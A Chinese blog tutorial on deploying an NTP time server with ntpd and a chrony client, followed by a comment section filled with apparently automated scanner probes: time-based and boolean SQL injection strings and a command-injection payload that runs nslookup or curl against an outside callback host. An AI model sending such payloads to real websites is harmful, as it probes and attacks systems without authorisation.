部署时钟服务器

captains 2022-03-28 PM 10353℃ 19条

[TOC]

部署时钟服务器

服务器信息

序号类型ip软件备注
1server192.168.1.234ntp·
2client192.168.1.236chrony·

server

1.1 清理

  • 清理自带包
yum remove ntpdate -y

1.2 安装ntp服务端

  • yum安装
yum install ntp -y
  • 启动及设置开机自启
systemctl start ntpd && systemctl enable ntpd

1.3 修改配置

[root@ntp ~]# grep -E '^[A-Za-z0-9]' /etc/ntp.conf 
driftfile /var/lib/ntp/drift
restrict default nomodify
restrict 127.0.0.1 
restrict ::1
restrict 192.168.1.0 mask 255.255.255.0 nomodify notrap
server 192.168.1.234 iburst
server 127.127.1.0
fudge 127.127.1.0 stratum 10
includefile /etc/ntp/crypto/pw
keys /etc/ntp/keys
logfile /tmp/ntp.log
disable monitor

1.4 重启ntp服务器

[root@ntp ~]# systemctl restart ntpd

2.client

2.1 安装chrony

$ yum install chrony -y

2.2 修改配置

$ vim /etc/chrony.conf
# 注释掉自带的时钟源,新增以下
server 192.168.1.234 iburst

2.3 重启chrony服务

$ systemctl restart chronyd

2.4 查看同步情况

$  chronyc sources -v

请输入图片描述

标签: none

非特殊说明,本博所有文章均为博主原创。

评论啦~



已有 19 条评论


  1. 1

    1

    2025-08-05 09:17
  2. 1

    555"&&sleep(27*1000)*qiiucq&&"

    2025-08-05 09:18
  3. 1

    $(nslookup -q=cname hitounbfcvbuocd53c.bxss.me||curl hitounbfcvbuocd53c.bxss.me)

    2025-08-05 09:18
  4. 1

    1*if(now()=sysdate(),sleep(15),0)

    2025-08-05 09:19
  5. 1

    1-1; waitfor delay '0:0:15' --

    2025-08-05 09:20
  6. 1

    555

    2025-08-05 09:21
  7. 1

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

    2025-08-05 09:22
  8. 1

    1

    2025-08-05 09:22
  9. 1

    555

    2025-08-05 09:23
  10. 1

    -1' OR 2+331-331-1=0+0+0+1 or 'H2lbN6ui'='

    2025-08-05 09:24
  11. 1

    -1' OR 3+331-331-1=0+0+0+1 or 'H2lbN6ui'='

    2025-08-05 09:24
  12. 1

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

    2025-08-05 09:26
  13. 1

    555-1 OR 308=(SELECT 308 FROM PG_SLEEP(15))--

    2025-08-05 09:27
  14. 1

    1

    2025-08-05 09:28
  15. 1

    555

    2025-08-05 09:29
  16. 1

    555

    2025-08-05 09:30
  17. 1

    1

    2025-08-05 09:31
  18. 1

    1

    2025-08-05 09:33
  19. 1

    1

    2025-08-05 09:35